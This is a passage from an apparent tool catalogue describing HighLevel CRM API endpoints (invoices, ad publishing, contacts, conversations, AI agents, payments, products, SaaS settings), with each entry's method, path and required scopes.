API to update invoice last visited at by invoice id (PATCH /invoices/stats/last-visited-at) PATCH /api/v1/highlevel/invoices/stats/last-visited-at. Scopes: none. highlevel_patch_invoices_template_by_templateid_late_fees_configuration (write) — Update template late fees configuration: API to update template late fees configuration by template id (PATCH /invoices/template/{templateId}/late-fees-configuration) PATCH /api/v1/highlevel/invoices/template/{templateId}/late-fees-configuration. Scopes: none. highlevel_patch_invoices_template_by_templateid_payment_methods_configuration (write) — Update template late fees configuration: API to update template late fees configuration by template id (PATCH /invoices/template/{templateId}/payment-methods-configuration) PATCH /api/v1/highlevel/invoices/template/{templateId}/payment-methods-configuration. Scopes: none. highlevel_patch_social_media_posting_by_locationid_csv_by_id (write) — Start CSV Finalize (PATCH /social-media-posting/{locationId}/csv/{id}) PATCH /api/v1/highlevel/social-media-posting/{locationId}/csv/{id}. Scopes: none. highlevel_patch_voice_ai_agents_by_agentid (write) — Patch Agent: Partially update an existing voice AI agent (PATCH /voice-ai/agents/{agentId}) PATCH /api/v1/highlevel/voice-ai/agents/{agentId}. Scopes: voice-ai-agents.write. highlevel_post_ad_publishing_facebook_ads_by_adid_duplicate (write) — Duplicate ad: Duplicate an existing Facebook ad (POST /ad-publishing/facebook/ads/{adId}/duplicate) POST /api/v1/highlevel/ad-publishing/facebook/ads/{adId}/duplicate. Scopes: adPublishing.write. highlevel_post_ad_publishing_facebook_ads_by_adid_pause (write) — Pause ad: Pause a running Facebook ad (POST /ad-publishing/facebook/ads/{adId}/pause) POST /api/v1/highlevel/ad-publishing/facebook/ads/{adId}/pause. Scopes: adPublishing.write. highlevel_post_ad_publishing_facebook_ads_by_adid_resume (write) — Resume ad: Resume a paused Facebook ad (POST /ad-publishing/facebook/ads/{adId}/resume) POST /api/v1/highlevel/ad-publishing/facebook/ads/{adId}/resume. Scopes: adPublishing.write. highlevel_post_ad_publishing_facebook_adsets_by_adsetid_duplicate (write) — Duplicate ad set: Duplicate an existing Facebook ad set (POST /ad-publishing/facebook/adsets/{adsetId}/duplicate) POST /api/v1/highlevel/ad-publishing/facebook/adsets/{adsetId}/duplicate. Scopes: adPublishing.write. highlevel_post_ad_publishing_facebook_adsets_by_adsetid_pause (write) — Pause ad set: Pause a running Facebook ad set (POST /ad-publishing/facebook/adsets/{adsetId}/pause) POST /api/v1/highlevel/ad-publishing/facebook/adsets/{adsetId}/pause. Scopes: adPublishing.write. highlevel_post_ad_publishing_facebook_adsets_by_adsetid_resume (write) — Resume ad set: Resume a paused Facebook ad set (POST /ad-publishing/facebook/adsets/{adsetId}/resume) POST /api/v1/highlevel/ad-publishing/facebook/adsets/{adsetId}/resume. Scopes: adPublishing.write. highlevel_post_ad_publishing_facebook_campaigns_by_campaignid_duplicate (write) — Duplicate campaign: Duplicate an existing Facebook campaign (POST /ad-publishing/facebook/campaigns/{campaignId}/duplicate) POST /api/v1/highlevel/ad-publishing/facebook/campaigns/{campaignId}/duplicate. Scopes: adPublishing.write. highlevel_post_ad_publishing_facebook_campaigns_by_campaignid_pause (write) — Pause campaign: Pause a running Facebook campaign (POST /ad-publishing/facebook/campaigns/{campaignId}/pause) POST /api/v1/highlevel/ad-publishing/facebook/campaigns/{campaignId}/pause. Scopes: adPublishing.write. highlevel_post_ad_publishing_facebook_campaigns_by_campaignid_publish (write) — Publish campaign: Publish a Facebook campaign and push it live to Facebook (POST /ad-publishing/facebook/campaigns/{campaignId}/publish) POST /api/v1/highlevel/ad-publishing/facebook/campaigns/{campaignId}/publish. Scopes: adPublishing.write. highlevel_post_ad_publishing_facebook_campaigns_by_campaignid_resume (write) — Resume campaign: Resume a paused Facebook campaign (POST /ad-publishing/facebook/campaigns/{campaignId}/resume) POST /api/v1/highlevel/ad-publishing/facebook/campaigns/{campaignId}/resume. Scopes: adPublishing.write. highlevel_post_ad_publishing_facebook_conversation_forms (write) — Create conversation form: Create a new Facebook conversation lead form (POST /ad-publishing/facebook/conversation-forms) POST /api/v1/highlevel/ad-publishing/facebook/conversation-forms. Scopes: adPublishing.write. highlevel_post_ad_publishing_facebook_integration (write) — Create Facebook integration: Create a Facebook ad integration for a location with page and ad account (POST /ad-publishing/facebook/integration) POST /api/v1/highlevel/ad-publishing/facebook/integration. Scopes: adPublishing.write. highlevel_post_ad_publishing_facebook_page_by_pageid_forms (write) — Create page lead form: Create a new lead gen form on a Facebook page (POST /ad-publishing/facebook/page/{pageId}/forms) POST /api/v1/highlevel/ad-publishing/facebook/page/{pageId}/forms. Scopes: adPublishing.write. highlevel_post_ad_publishing_google_ads_by_adid_publish (write) — Publish ad: Publish a Google ad and push it live (POST /ad-publishing/google/ads/{adId}/publish) POST /api/v1/highlevel/ad-publishing/google/ads/{adId}/publish. Scopes: adPublishing.write. highlevel_post_ad_publishing_google_assets (write) — Upsert assets: Create or update Google Ads creative assets (POST /ad-publishing/google/assets) POST /api/v1/highlevel/ad-publishing/google/assets. Scopes: adPublishing.write. highlevel_post_ad_publishing_google_integration (write) — Create Google integration: Create a Google Ads integration for a location (POST /ad-publishing/google/integration) POST /api/v1/highlevel/ad-publishing/google/integration. Scopes: adPublishing.write. highlevel_post_ad_publishing_google_keyword_ideas (write) — Get keyword ideas: Retrieve keyword suggestions for Google Ads campaigns (POST /ad-publishing/google/keyword-ideas) POST /api/v1/highlevel/ad-publishing/google/keyword-ideas. Scopes: adPublishing.readonly. highlevel_post_ad_publishing_google_segments_offline_user_list_job (write) — Create offline user list job: Create a job to upload users to a Google customer match list (POST /ad-publishing/google/segments/offline-user-list-job) POST /api/v1/highlevel/ad-publishing/google/segments/offline-user-list-job. Scopes: adPublishing.write. highlevel_post_ad_publishing_linkedin_ads_by_adid_publish (write) — Publish ad campaign group: Publish a LinkedIn ad campaign group and push it live (POST /ad-publishing/linkedin/ads/{adId}/publish) POST /api/v1/highlevel/ad-publishing/linkedin/ads/{adId}/publish. Scopes: adPublishing.write. highlevel_post_ad_publishing_linkedin_by_accountid_form (write) — Create lead form: Create a new LinkedIn lead gen form for an ad account (POST /ad-publishing/linkedin/{accountId}/form) POST /api/v1/highlevel/ad-publishing/linkedin/{accountId}/form. Scopes: adPublishing.write. highlevel_post_ad_publishing_linkedin_integration (write) — Create LinkedIn integration: Create a LinkedIn Ads integration for a location with ad account details (POST /ad-publishing/linkedin/integration) POST /api/v1/highlevel/ad-publishing/linkedin/integration. Scopes: adPublishing.write. highlevel_post_agent_studio_agent (write) — Create Agent: Creates a new agent with staging version. The agent will be created with an initial staging version that can later be promoted to production. (POST /agent-studio/agent) POST /api/v1/highlevel/agent-studio/agent. Scopes: agent-studio.write. highlevel_post_agent_studio_agent_by_agentid_execute (write) — Execute Agent: Executes the specified agent and returns a non-streaming JSON response with the complete agent output. The agent must be in active status and belong to the specified location. locationId is required in the request body. **Session... (POST /agent-studio/agent/{agentId}/execute) POST /api/v1/highlevel/agent-studio/agent/{agentId}/execute. Scopes: agent-studio.write. highlevel_post_agent_studio_agent_versions_by_versionid_publish (write) — Promote to Production: Promotes a draft version to production. (POST /agent-studio/agent/versions/{versionId}/publish) POST /api/v1/highlevel/agent-studio/agent/versions/{versionId}/publish. Scopes: agent-studio.write. highlevel_post_agent_studio_public_api_agents_by_agentid_execute (write) — Execute Agent (Deprecated): **Deprecated endpoint - use POST /agent/:agentId/execute instead.** Executes the specified agent and returns a non-streaming JSON response with the complete agent output. The agent must be in active status and belong to the specified... (POST /agent-studio/public-api/agents/{agentId}/execute) POST /api/v1/highlevel/agent-studio/public-api/agents/{agentId}/execute. Scopes: agent-studio.write. highlevel_post_associations (write) — Create Association: Allow you to create contact - contact , contact - custom objects associations, will add more in the future. (POST /associations) POST /api/v1/highlevel/associations. Scopes: associations.write. highlevel_post_associations_relations (write) — Create Relation for you associated entities.: Create Relation. (POST /associations/relations) POST /api/v1/highlevel/associations/relations. Scopes: associations/relation.write. highlevel_post_blogs_posts (write) — Create Blog Post: The "Create Blog Post" API allows you create blog post for any given blog site. Please use blogs/post.write (POST /blogs/posts) POST /api/v1/highlevel/blogs/posts. Scopes: blogs/post.write. highlevel_post_brand_boards (write) — Create a new brand board: Creates a new brand board with logos, colors, and fonts (POST /brand-boards) POST /api/v1/highlevel/brand-boards. Scopes: brand-boards/design-kit.write. highlevel_post_businesses (write) — Create Business (POST /businesses) POST /api/v1/highlevel/businesses. Scopes: businesses.write. highlevel_post_calendars (write) — Create Calendar: Create calendar in a location. (POST /calendars) POST /api/v1/highlevel/calendars. Scopes: calendars.write. highlevel_post_calendars_appointments_by_appointmentid_notes (write) — Create Note (POST /calendars/appointments/{appointmentId}/notes) POST /api/v1/highlevel/calendars/appointments/{appointmentId}/notes. Scopes: calendars/events.write. highlevel_post_calendars_by_calendarid_notifications (write) — Create notification: Create Calendar notifications, either one or multiple. All notification settings must be for single calendar only (POST /calendars/{calendarId}/notifications) POST /api/v1/highlevel/calendars/{calendarId}/notifications. Scopes: calendars/events.write. highlevel_post_calendars_events_appointments (write) — Create appointment (POST /calendars/events/appointments) POST /api/v1/highlevel/calendars/events/appointments. Scopes: calendars/events.write. highlevel_post_calendars_events_block_slots (write) — Create Block Slot: Create block slot (POST /calendars/events/block-slots) POST /api/v1/highlevel/calendars/events/block-slots. Scopes: calendars/events.write. highlevel_post_calendars_groups (write) — Create Calendar Group (POST /calendars/groups) POST /api/v1/highlevel/calendars/groups. Scopes: calendars/groups.write. highlevel_post_calendars_groups_validate_slug (write) — Validate group slug: Validate if group slug is available or not. (POST /calendars/groups/validate-slug) POST /api/v1/highlevel/calendars/groups/validate-slug. Scopes: calendars/groups.write. highlevel_post_calendars_resources_by_resourcetype (write) — Create Calendar Resource: Create calendar resource by resource type (POST /calendars/resources/{resourceType}) POST /api/v1/highlevel/calendars/resources/{resourceType}. Scopes: calendars/resources.write. highlevel_post_calendars_schedules (write) — Create user availability schedule: Create new schedule with specified rules, timezone, location, user and calendar associations. (POST /calendars/schedules) POST /api/v1/highlevel/calendars/schedules. Scopes: calendars.write. highlevel_post_contacts (write) — Create Contact: Please find the list of acceptable values for the country field here (POST /contacts) POST /api/v1/highlevel/contacts. Scopes: contacts.write. highlevel_post_contacts_bulk_business (write) — Add/Remove Contacts From Business: Add/Remove Contacts From Business . Passing a null businessId will remove the businessId from the contacts (POST /contacts/bulk/business) POST /api/v1/highlevel/contacts/bulk/business. Scopes: none. highlevel_post_contacts_bulk_tags_update_by_type (write) — Update Contacts Tags: Allows you to update tags to multiple contacts at once, you can add or remove tags from the contacts (POST /contacts/bulk/tags/update/{type}) POST /api/v1/highlevel/contacts/bulk/tags/update/{type}. Scopes: none. highlevel_post_contacts_by_contactid_campaigns_by_campaignid (write) — Add Contact to Campaign: Add contact to Campaign (POST /contacts/{contactId}/campaigns/{campaignId}) POST /api/v1/highlevel/contacts/{contactId}/campaigns/{campaignId}. Scopes: contacts.write. highlevel_post_contacts_by_contactid_followers (write) — Add Followers (POST /contacts/{contactId}/followers) POST /api/v1/highlevel/contacts/{contactId}/followers. Scopes: contacts.write. highlevel_post_contacts_by_contactid_notes (write) — Create Note (POST /contacts/{contactId}/notes) POST /api/v1/highlevel/contacts/{contactId}/notes. Scopes: contacts.write. highlevel_post_contacts_by_contactid_tags (write) — Add Tags (POST /contacts/{contactId}/tags) POST /api/v1/highlevel/contacts/{contactId}/tags. Scopes: contacts.write. highlevel_post_contacts_by_contactid_tasks (write) — Create Task (POST /contacts/{contactId}/tasks) POST /api/v1/highlevel/contacts/{contactId}/tasks. Scopes: contacts.write. highlevel_post_contacts_by_contactid_workflow_by_workflowid (write) — Add Contact to Workflow (POST /contacts/{contactId}/workflow/{workflowId}) POST /api/v1/highlevel/contacts/{contactId}/workflow/{workflowId}. Scopes: contacts.write. highlevel_post_contacts_search (write) — Search Contacts: Search contacts based on combinations of advanced filters. (POST /contacts/search) POST /api/v1/highlevel/contacts/search. Scopes: contacts.readonly. highlevel_post_contacts_upsert (write) — Upsert Contact: Please find the list of acceptable values for the country field here The Upsert API will adhere to the configuration defined under the “Allow Duplicate Contact” setting at the Location level. If the setting is configured to check both... (POST /contacts/upsert) POST /api/v1/highlevel/contacts/upsert. Scopes: contacts.write. highlevel_post_conversation_ai_agents (write) — Create an Agent: Creates a new AI agent for the location. The agent will be created with the specified configuration including name, role, actions, and behavior settings. (POST /conversation-ai/agents) POST /api/v1/highlevel/conversation-ai/agents. Scopes: conversation-ai.write. highlevel_post_conversation_ai_agents_by_agentid_actions (write) — Attach Action to Agent: Creates and attach a new action for an AI agent. Actions define specific tasks or behaviors that the agent can perform, such as booking appointments, sending follow-ups, or collecting information. (POST /conversation-ai/agents/{agentId}/actions) POST /api/v1/highlevel/conversation-ai/agents/{agentId}/actions. Scopes: conversation-ai.write. highlevel_post_conversations (write) — Create Conversation: Creates a new conversation with the data provided (POST /conversations) POST /api/v1/highlevel/conversations. Scopes: conversations.write. highlevel_post_conversations_messages (write) — Send a new message: Post the necessary fields for the API to send a new message. (POST /conversations/messages) POST /api/v1/highlevel/conversations/messages. Scopes: conversations/message.write. highlevel_post_conversations_messages_inbound (write) — Add an inbound message: Post the necessary fields for the API to add a new inbound message. (POST /conversations/messages/inbound) POST /api/v1/highlevel/conversations/messages/inbound. Scopes: conversations/message.write. highlevel_post_conversations_messages_outbound (write) — Add an external outbound call: Post the necessary fields for the API to add a new outbound call. (POST /conversations/messages/outbound) POST /api/v1/highlevel/conversations/messages/outbound. Scopes: conversations/message.write. highlevel_post_conversations_messages_review_reply (write) — Send a review reply to Google My Business: Post a reply to a customer review on Google My Business (POST /conversations/messages/review-reply) POST /api/v1/highlevel/conversations/messages/review-reply. Scopes: conversations/message.write. highlevel_post_conversations_messages_upload_complete (write) — Complete file upload: Validates the uploaded file in GCS and returns the public URL. Call this endpoint after successfully uploading the file to the signed URL. (POST /conversations/messages/upload/complete) POST /api/v1/highlevel/conversations/messages/upload/complete. Scopes: conversations/message.write. highlevel_post_conversations_messages_upload_initiate (write) — Initiate file upload to GCS: Generates a signed URL for direct file upload to Google Cloud Storage. Returns a signed URL valid for 15 minutes. Upload file via PUT request, then call /complete to finalize. (POST /conversations/messages/upload/initiate) POST /api/v1/highlevel/conversations/messages/upload/initiate. Scopes: conversations/message.write. highlevel_post_conversations_preferences_custom_subtypes (write) — Create Custom Subtype: Create a new custom subtype for a location. Requires agency or account admin role. (POST /conversations/preferences/custom-subtypes) POST /api/v1/highlevel/conversations/preferences/custom-subtypes. Scopes: none. highlevel_post_conversations_preferences_unsubscriptions_user_change (write) — User Subscription Change: Process subscription change initiated by a user (admin/agent). Supports individual custom subscription changes and resub all functionality. Legal forms are automatically created for user-initiated resubscribe actions on custom... (POST /conversations/preferences/unsubscriptions/user-change) POST /api/v1/highlevel/conversations/preferences/unsubscriptions/user-change. Scopes: none. highlevel_post_conversations_providers_live_chat_typing (write) — Agent/Ai-Bot is typing a message indicator for live chat: Agent/AI-Bot will call this when they are typing a message in live chat message (POST /conversations/providers/live-chat/typing) POST /api/v1/highlevel/conversations/providers/live-chat/typing. Scopes: conversations/livechat.write. highlevel_post_courses_courses_exporter_public_import (write) — Import Courses: Import Courses through public channels (POST /courses/courses-exporter/public/import) POST /api/v1/highlevel/courses/courses-exporter/public/import. Scopes: none. highlevel_post_custom_fields (write) — Create Custom Field: Create Custom Field ! Only supports Custom Objects and Company (Business) today. Will be extended to other Standard Objects in the future. (POST /custom-fields) POST /api/v1/highlevel/custom-fields. Scopes: locations/customFields.write. highlevel_post_custom_fields_folder (write) — Create Custom Field Folder: Create Custom Field Folder ! Only supports Custom Objects and Company (Business) today. Will be extended to other Standard Objects in the future. (POST /custom-fields/folder) POST /api/v1/highlevel/custom-fields/folder. Scopes: locations/customFields.write. highlevel_post_custom_menus (write) — Create Custom Menu Link: Creates a new custom menu for a company. Requires authentication and proper permissions. For Icon Usage Details please refer to https://doc.clickup.com/8631005/d/h/87cpx-243696/d60fa70db6b92b2 (POST /custom-menus) POST /api/v1/highlevel/custom-menus. Scopes: custom-menu-link.write. highlevel_post_email_verify (write) — Email Verification: Verify Email (POST /email/verify) POST /api/v1/highlevel/email/verify. Scopes: none. highlevel_post_emails_builder (write) — Create a new template (POST /emails/builder) POST /api/v1/highlevel/emails/builder. Scopes: emails/builder.write. highlevel_post_emails_builder_data (write) — Update a template (POST /emails/builder/data) POST /api/v1/highlevel/emails/builder/data. Scopes: emails/builder.write. highlevel_post_funnels_lookup_redirect (write) — Create Redirect: The "Create Redirect" API Allows adding a new url redirect to the system. Use this endpoint to create a url redirect with the specified details. Ensure that the required information is provided in the request payload. (POST /funnels/lookup/redirect) POST /api/v1/highlevel/funnels/lookup/redirect. Scopes: funnels/redirect.write. highlevel_post_invoices (write) — Create Invoice: API to create an invoice (POST /invoices) POST /api/v1/highlevel/invoices. Scopes: invoices.write. highlevel_post_invoices_by_invoiceid_record_payment (write) — Record a manual payment for an invoice: API to record manual payment for an invoice by invoice id (POST /invoices/{invoiceId}/record-payment) POST /api/v1/highlevel/invoices/{invoiceId}/record-payment. Scopes: invoices.write. highlevel_post_invoices_by_invoiceid_send (write) — Send invoice: API to send invoice by invoice id (POST /invoices/{invoiceId}/send) POST /api/v1/highlevel/invoices/{invoiceId}/send. Scopes: invoices.write. highlevel_post_invoices_by_invoiceid_void (write) — Void invoice: API to delete invoice by invoice id (POST /invoices/{invoiceId}/void) POST /api/v1/highlevel/invoices/{invoiceId}/void. Scopes: invoices.write. highlevel_post_invoices_estimate (write) — Create New Estimate: Create a new estimate with the provided details (POST /invoices/estimate) POST /api/v1/highlevel/invoices/estimate. Scopes: invoices/estimate.write. highlevel_post_invoices_estimate_by_estimateid_invoice (write) — Create Invoice from Estimate: Create a new invoice from an existing estimate (POST /invoices/estimate/{estimateId}/invoice) POST /api/v1/highlevel/invoices/estimate/{estimateId}/invoice. Scopes: invoices/estimate.write. highlevel_post_invoices_estimate_by_estimateid_send (write) — Send Estimate: API to send estimate by estimate id (POST /invoices/estimate/{estimateId}/send) POST /api/v1/highlevel/invoices/estimate/{estimateId}/send. Scopes: invoices/estimate.write. highlevel_post_invoices_estimate_template (write) — Create Estimate Template: Create a new estimate template (POST /invoices/estimate/template) POST /api/v1/highlevel/invoices/estimate/template. Scopes: invoices/estimate.write. highlevel_post_invoices_schedule (write) — Create Invoice Schedule: API to create an invoice Schedule (POST /invoices/schedule) POST /api/v1/highlevel/invoices/schedule. Scopes: invoices/schedule.write. highlevel_post_invoices_schedule_by_scheduleid_auto_payment (write) — Manage Auto payment for an schedule invoice: API to manage auto payment for a schedule (POST /invoices/schedule/{scheduleId}/auto-payment) POST /api/v1/highlevel/invoices/schedule/{scheduleId}/auto-payment. Scopes: invoices/schedule.write. highlevel_post_invoices_schedule_by_scheduleid_cancel (write) — Cancel an scheduled invoice: API to cancel a scheduled invoice by schedule id (POST /invoices/schedule/{scheduleId}/cancel) POST /api/v1/highlevel/invoices/schedule/{scheduleId}/cancel. Scopes: invoices/schedule.write. highlevel_post_invoices_schedule_by_scheduleid_schedule (write) — Schedule an schedule invoice: API to schedule an schedule invoice to start sending to the customer (POST /invoices/schedule/{scheduleId}/schedule) POST /api/v1/highlevel/invoices/schedule/{scheduleId}/schedule. Scopes: invoices/schedule.write. highlevel_post_invoices_schedule_by_scheduleid_updateandschedule (write) — Update scheduled recurring invoice: API to update scheduled recurring invoice (POST /invoices/schedule/{scheduleId}/updateAndSchedule) POST /api/v1/highlevel/invoices/schedule/{scheduleId}/updateAndSchedule. Scopes: invoices/schedule.write. highlevel_post_invoices_template (write) — Create template: API to create a template (POST /invoices/template) POST /api/v1/highlevel/invoices/template. Scopes: invoices/template.write. highlevel_post_invoices_text2pay (write) — Create & Send: API to create or update a text2pay invoice (POST /invoices/text2pay) POST /api/v1/highlevel/invoices/text2pay. Scopes: invoices.write. highlevel_post_knowledge_bases (write) — Create a new knowledge base (max 15 knowledge bases per location) (POST /knowledge-bases) POST /api/v1/highlevel/knowledge-bases. Scopes: none. highlevel_post_knowledge_bases_crawler (write) — Start crawling and discover pages for training (POST /knowledge-bases/crawler) POST /api/v1/highlevel/knowledge-bases/crawler. Scopes: none. highlevel_post_knowledge_bases_crawler_train (write) — Train discovered website pages and ingest into the knowledge base (POST /knowledge-bases/crawler/train) POST /api/v1/highlevel/knowledge-bases/crawler/train. Scopes: none. highlevel_post_knowledge_bases_faqs (write) — Create a new FAQ inside knowledge base (POST /knowledge-bases/faqs) POST /api/v1/highlevel/knowledge-bases/faqs. Scopes: none. highlevel_post_links (write) — Create Link (POST /links) POST /api/v1/highlevel/links. Scopes: links.write. highlevel_post_locations (write) — Create Sub-Account (Formerly Location): Create a new Sub-Account (Formerly Location) based on the data provided ! This feature is only available on Agency Pro ($497) plan. (POST /locations) POST /api/v1/highlevel/locations. Scopes: locations.write. highlevel_post_locations_by_locationid_customfields (write) — Create Custom Field (POST /locations/{locationId}/customFields) POST /api/v1/highlevel/locations/{locationId}/customFields. Scopes: locations/customFields.write. highlevel_post_locations_by_locationid_customvalues (write) — Create Custom Value (POST /locations/{locationId}/customValues) POST /api/v1/highlevel/locations/{locationId}/customValues. Scopes: locations/customValues.write. highlevel_post_locations_by_locationid_recurring_tasks (write) — Create Recurring Task (POST /locations/{locationId}/recurring-tasks) POST /api/v1/highlevel/locations/{locationId}/recurring-tasks. Scopes: none. highlevel_post_locations_by_locationid_tags (write) — Create Tag: Create tag (POST /locations/{locationId}/tags) POST /api/v1/highlevel/locations/{locationId}/tags. Scopes: locations/tags.write. highlevel_post_locations_by_locationid_tasks_search (write) — Task Search Filter: Task Search (POST /locations/{locationId}/tasks/search) POST /api/v1/highlevel/locations/{locationId}/tasks/search. Scopes: locations/tasks.readonly. highlevel_post_marketplace_billing_charges (write) — Create a new wallet charge (POST /marketplace/billing/charges) POST /api/v1/highlevel/marketplace/billing/charges. Scopes: charges.write. highlevel_post_marketplace_external_auth_migration (write) — Migrate external authentication connection: Migrates an external authentication connection credentials (basic or oauth2) for a specific app and location. This endpoint validates the app configuration, stores credentials safely in CRM's native encrypted storage. With this the... (POST /marketplace/external-auth/migration) POST /api/v1/highlevel/marketplace/external-auth/migration. Scopes: marketplace-external-auth-migration.write. highlevel_post_medias_by_id (write) — Update File/ Folder: Updates a single file or folder by ID (POST /medias/{id}) POST /api/v1/highlevel/medias/{id}. Scopes: none. highlevel_post_medias_folder (write) — Create Folder: Creates a new folder in the media storage (POST /medias/folder) POST /api/v1/highlevel/medias/folder. Scopes: none. highlevel_post_objects (write) — Create Custom Object: Allows you to create a custom object schema. To understand objects and records, please have a look at the documentation here : https://doc.clickup.com/8631005/d/h/87cpx-277156/93bf0c2e23177b0 (POST /objects) POST /api/v1/highlevel/objects. Scopes: objects/schema.write. highlevel_post_objects_by_schemakey_records (write) — Create Record: Create a Custom Object Record. Supported Objects business and custom objects. (POST /objects/{schemaKey}/records) POST /api/v1/highlevel/objects/{schemaKey}/records. Scopes: objects/record.write. highlevel_post_objects_by_schemakey_records_search (write) — Search Object Records: Supported Objects are custom objects and standard objects like "business". (POST /objects/{schemaKey}/records/search) POST /api/v1/highlevel/objects/{schemaKey}/records/search. Scopes: objects/record.readonly. highlevel_post_opportunities (write) — Create Opportunity (POST /opportunities) POST /api/v1/highlevel/opportunities. Scopes: opportunities.write. highlevel_post_opportunities_by_id_followers (write) — Add Followers (POST /opportunities/{id}/followers) POST /api/v1/highlevel/opportunities/{id}/followers. Scopes: opportunities.write. highlevel_post_opportunities_search (write) — Search Opportunities: Search Opportunities based on combinations of advanced filters. (POST /opportunities/search) POST /api/v1/highlevel/opportunities/search. Scopes: opportunities.readonly. highlevel_post_opportunities_upsert (write) — Upsert Opportunity (POST /opportunities/upsert) POST /api/v1/highlevel/opportunities/upsert. Scopes: opportunities.write. highlevel_post_payments_coupon (write) — Create Coupon: The "Create Coupon" API allows you to create a new promotional coupon with customizable parameters such as discount amount, validity period, usage limits, and applicable products. Use this endpoint to set up promotional offers and special... (POST /payments/coupon) POST /api/v1/highlevel/payments/coupon. Scopes: payments/coupons.write. highlevel_post_payments_custom_provider_connect (write) — Create new provider config: API to create a new payment config for given location (POST /payments/custom-provider/connect) POST /api/v1/highlevel/payments/custom-provider/connect. Scopes: payments/custom-provider.write. highlevel_post_payments_custom_provider_disconnect (write) — Disconnect existing provider config: API to disconnect an existing payment config for given location (POST /payments/custom-provider/disconnect) POST /api/v1/highlevel/payments/custom-provider/disconnect. Scopes: payments/custom-provider.write. highlevel_post_payments_custom_provider_provider (write) — Create new integration: API to create a new association for an app and location (POST /payments/custom-provider/provider) POST /api/v1/highlevel/payments/custom-provider/provider. Scopes: payments/custom-provider.write. highlevel_post_payments_integrations_provider_whitelabel (write) — Create White-label Integration Provider: The "Create White-label Integration Provider" API allows adding a new payment provider integration to the system which is built on top of Authorize.net or NMI. Use this endpoint to create a integration provider with the specified details.... (POST /payments/integrations/provider/whitelabel) POST /api/v1/highlevel/payments/integrations/provider/whitelabel. Scopes: payments/integration.write. highlevel_post_payments_orders_by_orderid_fulfillments (write) — Create order fulfillment: The "Order Fulfillment" API facilitates the process of fulfilling an order. (POST /payments/orders/{orderId}/fulfillments) POST /api/v1/highlevel/payments/orders/{orderId}/fulfillments. Scopes: payments/orders.write. highlevel_post_payments_orders_by_orderid_record_payment (write) — Record Order Payment: The "Record Order Payment" API allows to record a payment for an order. Use this endpoint to record payment for an order and update the order status to "Paid". (POST /payments/orders/{orderId}/record-payment) POST /api/v1/highlevel/payments/orders/{orderId}/record-payment. Scopes: payments/orders.collectPayment. highlevel_post_phone_system_numbers_location_by_locationid_purchase (write) — Purchase a phone number: Purchase a phone number for a specific location. (POST /phone-system/numbers/location/{locationId}/purchase) POST /api/v1/highlevel/phone-system/numbers/location/{locationId}/purchase. Scopes: phonenumbers.write. highlevel_post_products (write) — Create Product: The "Create Product" API allows adding a new product to the system. Use this endpoint to create a product with the specified details. Ensure that the required information is provided in the request payload. (POST /products) POST /api/v1/highlevel/products. Scopes: products.write. highlevel_post_products_bulk_update (write) — Bulk Update Products: API to bulk update products (price, availability, collections, delete) (POST /products/bulk-update) POST /api/v1/highlevel/products/bulk-update. Scopes: products.write. highlevel_post_products_bulk_update_edit (write) — Bulk Edit Products and Prices: API to bulk edit products and their associated prices (max 30 entities) (POST /products/bulk-update/edit) POST /api/v1/highlevel/products/bulk-update/edit. Scopes: none. highlevel_post_products_by_productid_price (write) — Create Price for a Product: The "Create Price for a Product" API allows adding a new price associated with a specific product to the system. Use this endpoint to create a price with the specified details for a particular product. Ensure that the required information... (POST /products/{productId}/price) POST /api/v1/highlevel/products/{productId}/price. Scopes: products/prices.write. highlevel_post_products_collections (write) — Create Product Collection: Create a new Product Collection for a specific location (POST /products/collections) POST /api/v1/highlevel/products/collections. Scopes: products/collection.write. highlevel_post_products_inventory (write) — Update Inventory: The Update Inventory API allows the user to bulk update the inventory for multiple items. Use this endpoint to update the available quantity and out-of-stock purchase settings for multiple items in the inventory. (POST /products/inventory) POST /api/v1/highlevel/products/inventory. Scopes: products/prices.write. highlevel_post_products_reviews_bulk_update (write) — Update Product Reviews: Update one or multiple product reviews: status, reply, etc. (POST /products/reviews/bulk-update) POST /api/v1/highlevel/products/reviews/bulk-update. Scopes: products.write. highlevel_post_products_store_by_storeid (write) — Action to include/exclude the product in store: API to update the status of products in a particular store (POST /products/store/{storeId}) POST /api/v1/highlevel/products/store/{storeId}. Scopes: products.write. highlevel_post_products_store_by_storeid_priority (write) — Update product display priorities in store: API to set the display priority of products in a store (POST /products/store/{storeId}/priority) POST /api/v1/highlevel/products/store/{storeId}/priority. Scopes: none. highlevel_post_proposals_document_send (write) — Send document: Send document to a client (POST /proposals/document/send) POST /api/v1/highlevel/proposals/document/send. Scopes: none. highlevel_post_proposals_templates_send (write) — Send template: Send template to a client (POST /proposals/templates/send) POST /api/v1/highlevel/proposals/templates/send. Scopes: none. highlevel_post_saas_api_public_api_bulk_disable_saas_by_companyid (write) — Disable SaaS for locations: Disable SaaS for locations for given locationIds (POST /saas-api/public-api/bulk-disable-saas/{companyId}) POST /api/v1/highlevel/saas-api/public-api/bulk-disable-saas/{companyId}. Scopes: none. highlevel_post_saas_api_public_api_bulk_enable_saas_by_companyid (write) — Bulk Enable SaaS: Enable SaaS mode for multiple locations with support for both SaaS v1 and v2 (POST /saas-api/public-api/bulk-enable-saas/{companyId}) POST /api/v1/highlevel/saas-api/public-api/bulk-enable-saas/{companyId}. Scopes: none. highlevel_post_saas_api_public_api_enable_saas_by_locationid (write) — Enable SaaS for Sub-Account (Formerly Location): Enable SaaS for Sub-Account (Formerly Location) based on the data provided ! This feature is only available on Agency Pro ($497) plan. (POST /saas-api/public-api/enable-saas/{locationId}) POST /api/v1/highlevel/saas-api/public-api/enable-saas/{locationId}. Scopes: none. highlevel_post_saas_api_public_api_pause_by_locationid (write) — Pause location: Pause Sub account for given locationId (POST /saas-api/public-api/pause/{locationId}) POST /api/v1/highlevel/saas-api/public-api/pause/{locationId}. Scopes: none. highlevel_post_saas_api_public_api_update_rebilling_by_companyid (write) — Update Rebilling: Bulk update rebilling for given locationIds (POST /saas-api/public-api/update-rebilling/{companyId}) POST /api/v1/highlevel/saas-api/public-api/update-rebilling/{companyId}. Scopes: none. highlevel_post_saas_bulk_disable_saas_by_companyid (write) — Disable SaaS for locations: Disable SaaS for locations for given locationIds (POST /saas/bulk-disable-saas/{companyId}) POST /api/v1/highlevel/saas/bulk-disable-saas/{companyId}. Scopes: none. highlevel_post_saas_bulk_enable_saas_by_companyid (write) — Bulk Enable SaaS: Enable SaaS mode for multiple locations with support for both SaaS v1 and v2 (POST /saas/bulk-enable-saas/{companyId}) POST /api/v1/highlevel/saas/bulk-enable-saas/{companyId}. Scopes: none. highlevel_post_saas_enable_saas_by_locationid (write) — Enable SaaS for Sub-Account 